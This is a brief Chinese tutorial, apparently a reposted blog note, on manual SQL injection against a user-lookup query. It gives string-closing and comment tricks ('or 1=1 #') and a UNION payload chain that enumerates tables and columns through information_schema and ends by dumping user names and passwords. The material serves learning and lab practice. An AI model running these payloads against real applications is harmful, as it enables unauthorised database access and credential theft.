数字型注入
SELECT first_name, last_name FROM users WHERE user_id = $id
字符型注入
SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘
一般可以通过直接输入单引号来判断是否存在注入点
通过输入3和1+2判断注入为字符型注入,若为数字型注入,则3和1+2输出一样
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码
SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘
‘ or 1=1 or ‘
SELECT first_name, last_name FROM users WHERE user_id = ‘ ‘ or 1=1 or ‘ ‘
False or True or False
1‘ or ‘1‘ =‘1
SELECT first_name, last_name FROM users WHERE user_id = ‘1‘ or ‘1‘ =‘1‘
True or True
‘or 1=1 #
SELECT first_name, last_name FROM users WHERE user_id = ‘‘or 1=1 #‘
# 为注释
False or True
‘or 1=1 --
SELECT first_name, last_name FROM users WHERE user_id = ‘‘or 1=1 -- ‘
-- (有空格)也是注释
False or True
判断数据库字段数为2
1‘ union select 1,2 #
1‘ union select user(),database() #
1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1‘ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users‘#
1‘ union select user,password from users#
原文:https://www.cnblogs.com/LRainner/p/13690625.html